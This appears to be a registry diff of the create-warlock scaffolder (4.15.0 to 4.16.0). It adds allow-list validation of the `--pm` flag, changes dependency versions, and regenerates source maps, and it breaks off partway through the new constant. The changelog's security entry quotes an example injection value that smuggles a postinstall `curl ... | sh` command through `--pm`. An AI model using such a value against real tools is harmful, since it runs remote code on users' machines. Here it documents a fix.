create-warlock 4.15.0 → 4.16.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -4,6 +4,18 @@ All notable changes to `create-warlock` are documented in this file.
4
4
 
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). `@warlock.js/*` packages are released in lockstep — every package shares the same version number, so a version below may list only the changes that affected this package.
6
6
 
7
+ ## 4.16.0 - 2026-08-18
8
+
9
+ ### Security
10
+
11
+ - **`--pm` is now validated against an allow-list (`npm`/`yarn`/`pnpm`/`bun`) before it reaches anything.** Previously an arbitrary `--pm` string flowed straight into `spawn()` as the executable to run *and* was spliced verbatim into the generated `package.json`'s script text before that text is parsed as JSON — a crafted value (e.g. `--pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#'`) could inject a `postinstall` script that the scaffolder's own automatic `install()` step would then execute, or invoke an arbitrary binary on `PATH` outright. `--yes`/non-interactive scaffolds now reject any `--pm` outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
12
+
13
+ ### Dependencies
14
+
15
+ - Bumped `@mongez/reinforcements` to `^4.0.1` (package dependency + project template). This is a **major** bump: `Random.string/nanoid/id/token/uuid` are now CSPRNG-backed (WebCrypto) and no longer honor `Random.seed()`, and throw without WebCrypto available. Audited `create-warlock`'s own source and the `templates/warlock` scaffold for `Random.seed`/`Random.*` usage — none found, no code changes required.
16
+ - Project template (`templates/warlock/package.json`) `@mongez/*` deps bumped: `@mongez/localization` to `^3.4.7`, `@mongez/supportive-is` to `^2.1.4`, `@mongez/agent-kit` to `^1.2.1`.
17
+ - Project template `@warlock.js/*` deps were pinned at the stale `4.0.119` — rewritten to the current lockstep version `4.15.0` to match the published `@warlock.js/*` packages.
18
+
7
19
  ## 4.12.0
8
20
 
9
21
  ### Changed
@@ -1,6 +1,6 @@
1
1
  import { getDatabaseDriver, getDatabaseDriverOptions, isNoDatabase } from "../../features/database-drivers.mjs";
2
2
  import { getAiPackageOptions, getAiProviderOptions, getAllFeatureKeys, getDefaultFeatureKeys, getFeatureOptions } from "../../features/features-map.mjs";
3
- import { detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, setPackageManager } from "../../helpers/package-manager.mjs";
3
+ import { ALLOWED_PACKAGE_MANAGERS, detectPackageManagers, getPackageManager, getPreferredPackageManager, getSystemPackageManagers, isValidPackageManager, setPackageManager } from "../../helpers/package-manager.mjs";
4
4
  import { packageRoot } from "../../helpers/paths.mjs";
5
5
  import { App } from "../../helpers/app.mjs";
6
6
  import { showIntroBanner } from "../../ui/banner.mjs";
@@ -145,7 +145,12 @@ async function createNonInteractive(cli) {
145
145
  const appPath = getAppPath(appName);
146
146
  if (!appPath) return;
147
147
  await detectPackageManagers();
148
- setPackageManager(cli.pm ?? getPreferredPackageManager());
148
+ const packageManager = cli.pm ?? getPreferredPackageManager();
149
+ if (!isValidPackageManager(packageManager)) {
150
+ cancel(`Unknown package manager "${packageManager}" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(", ")}`);
151
+ process.exit(1);
152
+ }
153
+ setPackageManager(packageManager);
149
154
  let options;
150
155
  try {
151
156
  options = resolveNonInteractiveOptions(cli);
@@ -1 +1 @@
1
- {"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-new-app/index.ts"],"sourcesContent":["import {\r\n cancel,\r\n confirm,\r\n isCancel,\r\n multiselect,\r\n select,\r\n text,\r\n} from \"@clack/prompts\";\r\nimport { colors } from \"@mongez/copper\";\r\nimport { getJsonFile } from \"@warlock.js/fs\";\r\nimport {\r\n getDatabaseDriver,\r\n getDatabaseDriverOptions,\r\n isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport {\r\n getAiPackageOptions,\r\n getAiProviderOptions,\r\n getAllFeatureKeys,\r\n getDefaultFeatureKeys,\r\n getFeatureOptions,\r\n} from \"../../features/features-map\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n detectPackageManagers,\r\n getPackageManager,\r\n getPreferredPackageManager,\r\n getSystemPackageManagers,\r\n setPackageManager,\r\n} from \"../../helpers/package-manager\";\r\nimport { packageRoot } from \"../../helpers/paths\";\r\nimport { showIntroBanner } from \"../../ui/banner\";\r\nimport { createWarlockApp } from \"../create-warlock-app\";\r\nimport getAppPath from \"./get-app-path\";\r\nimport { AppOptions, App as AppType, CliFlags } from \"./types\";\r\n\r\nexport default async function createNewApp(cli: CliFlags = {}) {\r\n // Start detecting package managers in the background to avoid delay later\r\n const pmDetectionPromise = detectPackageManagers();\r\n\r\n // Get version from package.json\r\n const packageJson: any = getJsonFile(packageRoot(\"package.json\"));\r\n const createWarlockVersion = packageJson.version;\r\n\r\n // Show the intro banner\r\n showIntroBanner(createWarlockVersion);\r\n\r\n console.log(colors.cyan(\"Let's create something magical! \\n\"));\r\n\r\n // Validate Node.js version (minimum v20)\r\n const [major] = process.versions.node.split(\".\").map(Number);\r\n if (major < 20) {\r\n cancel(\"Node.js version must be at least 20.0.0\");\r\n process.exit(0);\r\n }\r\n\r\n // Non-interactive path: build everything from flags and skip the prompts.\r\n if (cli.yes) {\r\n await createNonInteractive(cli);\r\n return;\r\n }\r\n\r\n // Step 1: Project name\r\n const appName = await text({\r\n message: \"What shall we call your project?\",\r\n placeholder: \"my-warlock-app\",\r\n });\r\n\r\n if (isCancel(appName) || !appName.trim()) {\r\n cancel(\"A project name is required to continue\");\r\n process.exit(0);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n if (!appPath) return;\r\n\r\n // Step 2: Package Manager selection\r\n await pmDetectionPromise; // Ensure detection is complete\r\n\r\n const packageManager = await select({\r\n message: \"Which package manager do you want to use?\",\r\n options: getSystemPackageManagers().map(pm => ({\r\n value: pm,\r\n label: pm,\r\n })),\r\n initialValue: getPreferredPackageManager(),\r\n });\r\n\r\n if (isCancel(packageManager)) {\r\n cancel(\"Package manager selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n setPackageManager(packageManager as string);\r\n\r\n // Step 3: Database driver selection\r\n const databaseDriver = await select({\r\n message: \"Choose your database driver\",\r\n options: getDatabaseDriverOptions(),\r\n });\r\n\r\n if (isCancel(databaseDriver)) {\r\n cancel(\"Database selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n const selectedDriver = getDatabaseDriver(databaseDriver as string);\r\n\r\n // Step 4: Features selection\r\n const selectedFeatures = await multiselect({\r\n message: \"Select optional features to include\",\r\n options: getFeatureOptions(),\r\n initialValues: getDefaultFeatureKeys(),\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedFeatures)) {\r\n cancel(\"Feature selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 4b: AI providers + capability packages — selecting any pulls\r\n // @warlock.js/ai automatically. The result still flows through the\r\n // `selectedAiProviders` → `aiProviders` pipeline, which now also carries the\r\n // capability packages (ai-tools / ai-panoptic / ai-workspace).\r\n const selectedAiProviders = await multiselect({\r\n message:\r\n \"Add AI packages? Providers + capabilities — the core AI package is included automatically\",\r\n options: [...getAiProviderOptions(), ...getAiPackageOptions()],\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedAiProviders)) {\r\n cancel(\"AI provider selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 5: Git initialization\r\n const useGit =\r\n (await confirm({\r\n message: \"Initialize a Git repository?\",\r\n })) === true;\r\n\r\n if (isCancel(useGit)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 6: JWT secret generation\r\n const useJWT =\r\n (await confirm({\r\n message: \"Generate JWT secret keys?\",\r\n })) === true;\r\n\r\n if (isCancel(useJWT)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Build app details\r\n const appDetails: Required<AppType> = {\r\n appName: appName,\r\n appType: \"warlock\",\r\n appPath: appPath,\r\n pkgManager: getPackageManager(),\r\n options: {\r\n databaseDriver: databaseDriver as string,\r\n databasePort: selectedDriver?.defaultPort || 27017,\r\n features: selectedFeatures as string[],\r\n aiProviders: selectedAiProviders as string[],\r\n useGit,\r\n useJWT,\r\n },\r\n };\r\n\r\n // Create the app\r\n await createWarlockApp(new App(appDetails));\r\n}\r\n\r\n/**\r\n * Resolve the full set of `AppOptions` from parsed CLI flags — applying the\r\n * non-interactive defaults, validating the database driver and feature/provider\r\n * keys, and handling the `none` (no database) selection.\r\n *\r\n * Pure and side-effect free (no prompts, no `process.exit`) so the flag → app\r\n * mapping is unit-testable. Throws on an unknown driver or feature key so the\r\n * caller can fail fast before any file is written.\r\n */\r\nexport function resolveNonInteractiveOptions(cli: CliFlags): AppOptions {\r\n const databaseDriver = cli.db ?? \"mongodb\";\r\n const noDatabase = isNoDatabase(databaseDriver);\r\n const driver = noDatabase ? undefined : getDatabaseDriver(databaseDriver);\r\n\r\n if (!noDatabase && !driver) {\r\n throw new Error(`Unknown database driver \"${databaseDriver}\"`);\r\n }\r\n\r\n const features = cli.features ?? [];\r\n const aiProviders = cli.ai ?? [];\r\n\r\n const allowedKeys = getAllFeatureKeys();\r\n const invalidKeys = [...features, ...aiProviders].filter(\r\n key => !allowedKeys.includes(key),\r\n );\r\n\r\n if (invalidKeys.length > 0) {\r\n throw new Error(`Unknown feature(s): ${invalidKeys.join(\",\")}`);\r\n }\r\n\r\n return {\r\n databaseDriver,\r\n databasePort: driver?.defaultPort ?? 27017,\r\n features,\r\n aiProviders,\r\n useGit: cli.git ?? false,\r\n useJWT: cli.jwt ?? false,\r\n };\r\n}\r\n\r\n/**\r\n * Non-interactive scaffold path for `--yes`. Builds the app from flags with\r\n * sensible defaults and skips every prompt — a single command scaffolds the\r\n * entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails\r\n * fast here instead of mid-install.\r\n */\r\nasync function createNonInteractive(cli: CliFlags) {\r\n const appName = (cli.name ?? \"\").trim();\r\n\r\n if (!appName) {\r\n cancel(\"--yes requires a project name (first argument or --name=<name>)\");\r\n process.exit(1);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n\r\n if (!appPath) return;\r\n\r\n await detectPackageManagers();\r\n\r\n const packageManager = cli.pm ?? getPreferredPackageManager();\r\n setPackageManager(packageManager);\r\n\r\n let options: AppOptions;\r\n\r\n try {\r\n options = resolveNonInteractiveOptions(cli);\r\n } catch (error) {\r\n cancel((error as Error).message);\r\n process.exit(1);\r\n }\r\n\r\n const appDetails: Required<AppType> = {\r\n appName,\r\n appType: \"warlock\",\r\n appPath,\r\n pkgManager: getPackageManager(),\r\n options,\r\n };\r\n\r\n await createWarlockApp(new App(appDetails));\r\n}\r\n"],"mappings":";;;;;;;;;;;;;AAoCA,eAA8B,aAAa,MAAgB,CAAC,GAAG;CAE7D,MAAM,qBAAqB,sBAAsB;CAIjD,MAAM,uBADmB,YAAY,YAAY,cAAc,CACxB,CAAC,CAAC;CAGzC,gBAAgB,oBAAoB;CAEpC,QAAQ,IAAI,OAAO,KAAK,oCAAoC,CAAC;CAG7D,MAAM,CAAC,SAAS,QAAQ,SAAS,KAAK,MAAM,GAAG,CAAC,CAAC,IAAI,MAAM;CAC3D,IAAI,QAAQ,IAAI;EACd,OAAO,yCAAyC;EAChD,QAAQ,KAAK,CAAC;CAChB;CAGA,IAAI,IAAI,KAAK;EACX,MAAM,qBAAqB,GAAG;EAC9B;CACF;CAGA,MAAM,UAAU,MAAM,KAAK;EACzB,SAAS;EACT,aAAa;CACf,CAAC;CAED,IAAI,SAAS,OAAO,KAAK,CAAC,QAAQ,KAAK,GAAG;EACxC,OAAO,wCAAwC;EAC/C,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,UAAU,WAAW,OAAO;CAClC,IAAI,CAAC,SAAS;CAGd,MAAM;CAEN,MAAM,iBAAiB,MAAM,OAAO;EAClC,SAAS;EACT,SAAS,yBAAyB,CAAC,CAAC,KAAI,QAAO;GAC7C,OAAO;GACP,OAAO;EACT,EAAE;EACF,cAAc,2BAA2B;CAC3C,CAAC;CAED,IAAI,SAAS,cAAc,GAAG;EAC5B,OAAO,qCAAqC;EAC5C,QAAQ,KAAK,CAAC;CAChB;CAEA,kBAAkB,cAAwB;CAG1C,MAAM,iBAAiB,MAAM,OAAO;EAClC,SAAS;EACT,SAAS,yBAAyB;CACpC,CAAC;CAED,IAAI,SAAS,cAAc,GAAG;EAC5B,OAAO,8BAA8B;EACrC,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,iBAAiB,kBAAkB,cAAwB;CAGjE,MAAM,mBAAmB,MAAM,YAAY;EACzC,SAAS;EACT,SAAS,kBAAkB;EAC3B,eAAe,sBAAsB;EACrC,UAAU;CACZ,CAAC;CAED,IAAI,SAAS,gBAAgB,GAAG;EAC9B,OAAO,6BAA6B;EACpC,QAAQ,KAAK,CAAC;CAChB;CAMA,MAAM,sBAAsB,MAAM,YAAY;EAC5C,SACE;EACF,SAAS,CAAC,GAAG,qBAAqB,GAAG,GAAG,oBAAoB,CAAC;EAC7D,UAAU;CACZ,CAAC;CAED,IAAI,SAAS,mBAAmB,GAAG;EACjC,OAAO,iCAAiC;EACxC,QAAQ,KAAK,CAAC;CAChB;CAGA,MAAM,SACH,MAAM,QAAQ,EACb,SAAS,+BACX,CAAC,MAAO;CAEV,IAAI,SAAS,MAAM,GAAG;EACpB,OAAO,iBAAiB;EACxB,QAAQ,KAAK,CAAC;CAChB;CAGA,MAAM,SACH,MAAM,QAAQ,EACb,SAAS,4BACX,CAAC,MAAO;CAEV,IAAI,SAAS,MAAM,GAAG;EACpB,OAAO,iBAAiB;EACxB,QAAQ,KAAK,CAAC;CAChB;CAmBA,MAAM,iBAAiB,IAAI,IAAI;EAfpB;EACT,SAAS;EACA;EACT,YAAY,kBAAkB;EAC9B,SAAS;GACS;GAChB,cAAc,gBAAgB,eAAe;GAC7C,UAAU;GACV,aAAa;GACb;GACA;EACF;CAIsC,CAAC,CAAC;AAC5C;;;;;;;;;;AAWA,SAAgB,6BAA6B,KAA2B;CACtE,MAAM,iBAAiB,IAAI,MAAM;CACjC,MAAM,aAAa,aAAa,cAAc;CAC9C,MAAM,SAAS,aAAa,SAAY,kBAAkB,cAAc;CAExE,IAAI,CAAC,cAAc,CAAC,QAClB,MAAM,IAAI,MAAM,4BAA4B,eAAe,EAAE;CAG/D,MAAM,WAAW,IAAI,YAAY,CAAC;CAClC,MAAM,cAAc,IAAI,MAAM,CAAC;CAE/B,MAAM,cAAc,kBAAkB;CACtC,MAAM,cAAc,CAAC,GAAG,UAAU,GAAG,WAAW,CAAC,CAAC,QAChD,QAAO,CAAC,YAAY,SAAS,GAAG,CAClC;CAEA,IAAI,YAAY,SAAS,GACvB,MAAM,IAAI,MAAM,uBAAuB,YAAY,KAAK,GAAG,GAAG;CAGhE,OAAO;EACL;EACA,cAAc,QAAQ,eAAe;EACrC;EACA;EACA,QAAQ,IAAI,OAAO;EACnB,QAAQ,IAAI,OAAO;CACrB;AACF;;;;;;;AAQA,eAAe,qBAAqB,KAAe;CACjD,MAAM,WAAW,IAAI,QAAQ,GAAE,CAAE,KAAK;CAEtC,IAAI,CAAC,SAAS;EACZ,OAAO,iEAAiE;EACxE,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,UAAU,WAAW,OAAO;CAElC,IAAI,CAAC,SAAS;CAEd,MAAM,sBAAsB;CAG5B,kBADuB,IAAI,MAAM,2BAA2B,CAC5B;CAEhC,IAAI;CAEJ,IAAI;EACF,UAAU,6BAA6B,GAAG;CAC5C,SAAS,OAAO;EACd,OAAQ,MAAgB,OAAO;EAC/B,QAAQ,KAAK,CAAC;CAChB;CAUA,MAAM,iBAAiB,IAAI,IAAI;EAP7B;EACA,SAAS;EACT;EACA,YAAY,kBAAkB;EAC9B;CAGsC,CAAC,CAAC;AAC5C"}
1
+ {"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-new-app/index.ts"],"sourcesContent":["import {\r\n cancel,\r\n confirm,\r\n isCancel,\r\n multiselect,\r\n select,\r\n text,\r\n} from \"@clack/prompts\";\r\nimport { colors } from \"@mongez/copper\";\r\nimport { getJsonFile } from \"@warlock.js/fs\";\r\nimport {\r\n getDatabaseDriver,\r\n getDatabaseDriverOptions,\r\n isNoDatabase,\r\n} from \"../../features/database-drivers\";\r\nimport {\r\n getAiPackageOptions,\r\n getAiProviderOptions,\r\n getAllFeatureKeys,\r\n getDefaultFeatureKeys,\r\n getFeatureOptions,\r\n} from \"../../features/features-map\";\r\nimport { App } from \"../../helpers/app\";\r\nimport {\r\n ALLOWED_PACKAGE_MANAGERS,\r\n detectPackageManagers,\r\n getPackageManager,\r\n getPreferredPackageManager,\r\n getSystemPackageManagers,\r\n isValidPackageManager,\r\n setPackageManager,\r\n} from \"../../helpers/package-manager\";\r\nimport { packageRoot } from \"../../helpers/paths\";\r\nimport { showIntroBanner } from \"../../ui/banner\";\r\nimport { createWarlockApp } from \"../create-warlock-app\";\r\nimport getAppPath from \"./get-app-path\";\r\nimport { AppOptions, App as AppType, CliFlags } from \"./types\";\r\n\r\nexport default async function createNewApp(cli: CliFlags = {}) {\r\n // Start detecting package managers in the background to avoid delay later\r\n const pmDetectionPromise = detectPackageManagers();\r\n\r\n // Get version from package.json\r\n const packageJson: any = getJsonFile(packageRoot(\"package.json\"));\r\n const createWarlockVersion = packageJson.version;\r\n\r\n // Show the intro banner\r\n showIntroBanner(createWarlockVersion);\r\n\r\n console.log(colors.cyan(\"Let's create something magical! \\n\"));\r\n\r\n // Validate Node.js version (minimum v20)\r\n const [major] = process.versions.node.split(\".\").map(Number);\r\n if (major < 20) {\r\n cancel(\"Node.js version must be at least 20.0.0\");\r\n process.exit(0);\r\n }\r\n\r\n // Non-interactive path: build everything from flags and skip the prompts.\r\n if (cli.yes) {\r\n await createNonInteractive(cli);\r\n return;\r\n }\r\n\r\n // Step 1: Project name\r\n const appName = await text({\r\n message: \"What shall we call your project?\",\r\n placeholder: \"my-warlock-app\",\r\n });\r\n\r\n if (isCancel(appName) || !appName.trim()) {\r\n cancel(\"A project name is required to continue\");\r\n process.exit(0);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n if (!appPath) return;\r\n\r\n // Step 2: Package Manager selection\r\n await pmDetectionPromise; // Ensure detection is complete\r\n\r\n const packageManager = await select({\r\n message: \"Which package manager do you want to use?\",\r\n options: getSystemPackageManagers().map(pm => ({\r\n value: pm,\r\n label: pm,\r\n })),\r\n initialValue: getPreferredPackageManager(),\r\n });\r\n\r\n if (isCancel(packageManager)) {\r\n cancel(\"Package manager selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n setPackageManager(packageManager as string);\r\n\r\n // Step 3: Database driver selection\r\n const databaseDriver = await select({\r\n message: \"Choose your database driver\",\r\n options: getDatabaseDriverOptions(),\r\n });\r\n\r\n if (isCancel(databaseDriver)) {\r\n cancel(\"Database selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n const selectedDriver = getDatabaseDriver(databaseDriver as string);\r\n\r\n // Step 4: Features selection\r\n const selectedFeatures = await multiselect({\r\n message: \"Select optional features to include\",\r\n options: getFeatureOptions(),\r\n initialValues: getDefaultFeatureKeys(),\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedFeatures)) {\r\n cancel(\"Feature selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 4b: AI providers + capability packages — selecting any pulls\r\n // @warlock.js/ai automatically. The result still flows through the\r\n // `selectedAiProviders` → `aiProviders` pipeline, which now also carries the\r\n // capability packages (ai-tools / ai-panoptic / ai-workspace).\r\n const selectedAiProviders = await multiselect({\r\n message:\r\n \"Add AI packages? Providers + capabilities — the core AI package is included automatically\",\r\n options: [...getAiProviderOptions(), ...getAiPackageOptions()],\r\n required: false,\r\n });\r\n\r\n if (isCancel(selectedAiProviders)) {\r\n cancel(\"AI provider selection cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 5: Git initialization\r\n const useGit =\r\n (await confirm({\r\n message: \"Initialize a Git repository?\",\r\n })) === true;\r\n\r\n if (isCancel(useGit)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Step 6: JWT secret generation\r\n const useJWT =\r\n (await confirm({\r\n message: \"Generate JWT secret keys?\",\r\n })) === true;\r\n\r\n if (isCancel(useJWT)) {\r\n cancel(\"Setup cancelled\");\r\n process.exit(0);\r\n }\r\n\r\n // Build app details\r\n const appDetails: Required<AppType> = {\r\n appName: appName,\r\n appType: \"warlock\",\r\n appPath: appPath,\r\n pkgManager: getPackageManager(),\r\n options: {\r\n databaseDriver: databaseDriver as string,\r\n databasePort: selectedDriver?.defaultPort || 27017,\r\n features: selectedFeatures as string[],\r\n aiProviders: selectedAiProviders as string[],\r\n useGit,\r\n useJWT,\r\n },\r\n };\r\n\r\n // Create the app\r\n await createWarlockApp(new App(appDetails));\r\n}\r\n\r\n/**\r\n * Resolve the full set of `AppOptions` from parsed CLI flags — applying the\r\n * non-interactive defaults, validating the database driver and feature/provider\r\n * keys, and handling the `none` (no database) selection.\r\n *\r\n * Pure and side-effect free (no prompts, no `process.exit`) so the flag → app\r\n * mapping is unit-testable. Throws on an unknown driver or feature key so the\r\n * caller can fail fast before any file is written.\r\n */\r\nexport function resolveNonInteractiveOptions(cli: CliFlags): AppOptions {\r\n const databaseDriver = cli.db ?? \"mongodb\";\r\n const noDatabase = isNoDatabase(databaseDriver);\r\n const driver = noDatabase ? undefined : getDatabaseDriver(databaseDriver);\r\n\r\n if (!noDatabase && !driver) {\r\n throw new Error(`Unknown database driver \"${databaseDriver}\"`);\r\n }\r\n\r\n const features = cli.features ?? [];\r\n const aiProviders = cli.ai ?? [];\r\n\r\n const allowedKeys = getAllFeatureKeys();\r\n const invalidKeys = [...features, ...aiProviders].filter(\r\n key => !allowedKeys.includes(key),\r\n );\r\n\r\n if (invalidKeys.length > 0) {\r\n throw new Error(`Unknown feature(s): ${invalidKeys.join(\",\")}`);\r\n }\r\n\r\n return {\r\n databaseDriver,\r\n databasePort: driver?.defaultPort ?? 27017,\r\n features,\r\n aiProviders,\r\n useGit: cli.git ?? false,\r\n useJWT: cli.jwt ?? false,\r\n };\r\n}\r\n\r\n/**\r\n * Non-interactive scaffold path for `--yes`. Builds the app from flags with\r\n * sensible defaults and skips every prompt — a single command scaffolds the\r\n * entire app. Validation lives in `resolveNonInteractiveOptions`; a typo fails\r\n * fast here instead of mid-install.\r\n */\r\nasync function createNonInteractive(cli: CliFlags) {\r\n const appName = (cli.name ?? \"\").trim();\r\n\r\n if (!appName) {\r\n cancel(\"--yes requires a project name (first argument or --name=<name>)\");\r\n process.exit(1);\r\n }\r\n\r\n const appPath = getAppPath(appName);\r\n\r\n if (!appPath) return;\r\n\r\n await detectPackageManagers();\r\n\r\n const packageManager = cli.pm ?? getPreferredPackageManager();\r\n\r\n if (!isValidPackageManager(packageManager)) {\r\n cancel(\r\n `Unknown package manager \"${packageManager}\" — expected one of: ${ALLOWED_PACKAGE_MANAGERS.join(\", \")}`,\r\n );\r\n process.exit(1);\r\n }\r\n\r\n setPackageManager(packageManager);\r\n\r\n let options: AppOptions;\r\n\r\n try {\r\n options = resolveNonInteractiveOptions(cli);\r\n } catch (error) {\r\n cancel((error as Error).message);\r\n process.exit(1);\r\n }\r\n\r\n const appDetails: Required<AppType> = {\r\n appName,\r\n appType: \"warlock\",\r\n appPath,\r\n pkgManager: getPackageManager(),\r\n options,\r\n };\r\n\r\n await createWarlockApp(new App(appDetails));\r\n}\r\n"],"mappings":";;;;;;;;;;;;;AAsCA,eAA8B,aAAa,MAAgB,CAAC,GAAG;CAE7D,MAAM,qBAAqB,sBAAsB;CAIjD,MAAM,uBADmB,YAAY,YAAY,cAAc,CACxB,CAAC,CAAC;CAGzC,gBAAgB,oBAAoB;CAEpC,QAAQ,IAAI,OAAO,KAAK,oCAAoC,CAAC;CAG7D,MAAM,CAAC,SAAS,QAAQ,SAAS,KAAK,MAAM,GAAG,CAAC,CAAC,IAAI,MAAM;CAC3D,IAAI,QAAQ,IAAI;EACd,OAAO,yCAAyC;EAChD,QAAQ,KAAK,CAAC;CAChB;CAGA,IAAI,IAAI,KAAK;EACX,MAAM,qBAAqB,GAAG;EAC9B;CACF;CAGA,MAAM,UAAU,MAAM,KAAK;EACzB,SAAS;EACT,aAAa;CACf,CAAC;CAED,IAAI,SAAS,OAAO,KAAK,CAAC,QAAQ,KAAK,GAAG;EACxC,OAAO,wCAAwC;EAC/C,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,UAAU,WAAW,OAAO;CAClC,IAAI,CAAC,SAAS;CAGd,MAAM;CAEN,MAAM,iBAAiB,MAAM,OAAO;EAClC,SAAS;EACT,SAAS,yBAAyB,CAAC,CAAC,KAAI,QAAO;GAC7C,OAAO;GACP,OAAO;EACT,EAAE;EACF,cAAc,2BAA2B;CAC3C,CAAC;CAED,IAAI,SAAS,cAAc,GAAG;EAC5B,OAAO,qCAAqC;EAC5C,QAAQ,KAAK,CAAC;CAChB;CAEA,kBAAkB,cAAwB;CAG1C,MAAM,iBAAiB,MAAM,OAAO;EAClC,SAAS;EACT,SAAS,yBAAyB;CACpC,CAAC;CAED,IAAI,SAAS,cAAc,GAAG;EAC5B,OAAO,8BAA8B;EACrC,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,iBAAiB,kBAAkB,cAAwB;CAGjE,MAAM,mBAAmB,MAAM,YAAY;EACzC,SAAS;EACT,SAAS,kBAAkB;EAC3B,eAAe,sBAAsB;EACrC,UAAU;CACZ,CAAC;CAED,IAAI,SAAS,gBAAgB,GAAG;EAC9B,OAAO,6BAA6B;EACpC,QAAQ,KAAK,CAAC;CAChB;CAMA,MAAM,sBAAsB,MAAM,YAAY;EAC5C,SACE;EACF,SAAS,CAAC,GAAG,qBAAqB,GAAG,GAAG,oBAAoB,CAAC;EAC7D,UAAU;CACZ,CAAC;CAED,IAAI,SAAS,mBAAmB,GAAG;EACjC,OAAO,iCAAiC;EACxC,QAAQ,KAAK,CAAC;CAChB;CAGA,MAAM,SACH,MAAM,QAAQ,EACb,SAAS,+BACX,CAAC,MAAO;CAEV,IAAI,SAAS,MAAM,GAAG;EACpB,OAAO,iBAAiB;EACxB,QAAQ,KAAK,CAAC;CAChB;CAGA,MAAM,SACH,MAAM,QAAQ,EACb,SAAS,4BACX,CAAC,MAAO;CAEV,IAAI,SAAS,MAAM,GAAG;EACpB,OAAO,iBAAiB;EACxB,QAAQ,KAAK,CAAC;CAChB;CAmBA,MAAM,iBAAiB,IAAI,IAAI;EAfpB;EACT,SAAS;EACA;EACT,YAAY,kBAAkB;EAC9B,SAAS;GACS;GAChB,cAAc,gBAAgB,eAAe;GAC7C,UAAU;GACV,aAAa;GACb;GACA;EACF;CAIsC,CAAC,CAAC;AAC5C;;;;;;;;;;AAWA,SAAgB,6BAA6B,KAA2B;CACtE,MAAM,iBAAiB,IAAI,MAAM;CACjC,MAAM,aAAa,aAAa,cAAc;CAC9C,MAAM,SAAS,aAAa,SAAY,kBAAkB,cAAc;CAExE,IAAI,CAAC,cAAc,CAAC,QAClB,MAAM,IAAI,MAAM,4BAA4B,eAAe,EAAE;CAG/D,MAAM,WAAW,IAAI,YAAY,CAAC;CAClC,MAAM,cAAc,IAAI,MAAM,CAAC;CAE/B,MAAM,cAAc,kBAAkB;CACtC,MAAM,cAAc,CAAC,GAAG,UAAU,GAAG,WAAW,CAAC,CAAC,QAChD,QAAO,CAAC,YAAY,SAAS,GAAG,CAClC;CAEA,IAAI,YAAY,SAAS,GACvB,MAAM,IAAI,MAAM,uBAAuB,YAAY,KAAK,GAAG,GAAG;CAGhE,OAAO;EACL;EACA,cAAc,QAAQ,eAAe;EACrC;EACA;EACA,QAAQ,IAAI,OAAO;EACnB,QAAQ,IAAI,OAAO;CACrB;AACF;;;;;;;AAQA,eAAe,qBAAqB,KAAe;CACjD,MAAM,WAAW,IAAI,QAAQ,GAAE,CAAE,KAAK;CAEtC,IAAI,CAAC,SAAS;EACZ,OAAO,iEAAiE;EACxE,QAAQ,KAAK,CAAC;CAChB;CAEA,MAAM,UAAU,WAAW,OAAO;CAElC,IAAI,CAAC,SAAS;CAEd,MAAM,sBAAsB;CAE5B,MAAM,iBAAiB,IAAI,MAAM,2BAA2B;CAE5D,IAAI,CAAC,sBAAsB,cAAc,GAAG;EAC1C,OACE,4BAA4B,eAAe,uBAAuB,yBAAyB,KAAK,IAAI,GACtG;EACA,QAAQ,KAAK,CAAC;CAChB;CAEA,kBAAkB,cAAc;CAEhC,IAAI;CAEJ,IAAI;EACF,UAAU,6BAA6B,GAAG;CAC5C,SAAS,OAAO;EACd,OAAQ,MAAgB,OAAO;EAC/B,QAAQ,KAAK,CAAC;CAChB;CAUA,MAAM,iBAAiB,IAAI,IAAI;EAP7B;EACA,SAAS;EACT;EACA,YAAY,kBAAkB;EAC9B;CAGsC,CAAC,CAAC;AAC5C"}
@@ -7,6 +7,23 @@ const execAsync = promisify(exec);
7
7
  let detectedPackageManager;
8
8
  let cachedSystemManagers;
9
9
  let cachedPreferredManager;
10
+ /**
11
+ * The only package managers `--pm` may select. This value reaches `spawn()`
12
+ * as the executable to run and is spliced into the generated
13
+ * `package.json`'s scripts — an allow-list here is a hard security
14
+ * boundary, not just input hygiene, so it stays a fixed literal list
15
+ * rather than anything derived from user input or the running environment.
16
+ */
17
+ const ALLOWED_PACKAGE_MANAGERS = [
18
+ "npm",
19
+ "yarn",
20
+ "pnpm",
21
+ "bun"
22
+ ];
23
